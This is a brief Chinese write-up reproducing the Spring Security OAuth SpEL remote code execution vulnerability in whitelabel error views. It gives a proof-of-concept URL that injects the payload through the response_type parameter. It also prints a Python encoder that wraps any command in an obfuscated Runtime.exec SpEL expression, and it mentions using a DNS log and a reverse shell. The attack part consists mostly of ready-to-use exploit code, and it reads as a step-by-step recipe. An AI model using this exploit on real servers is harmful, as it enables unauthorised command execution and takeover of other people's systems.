一、漏洞概述
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
二、漏洞复现
发现页面如下:
poc如下:
http://your-ip:8080/oauth/authorize?response_type=[POC]&client_id=acme&scope=openid&redirect_uri=http://test
利用dnslog进行反弹shell
在以下网站进行编码操作:
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
exp代码如下,开始执行exp
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
放在poc里面执行
复现成功!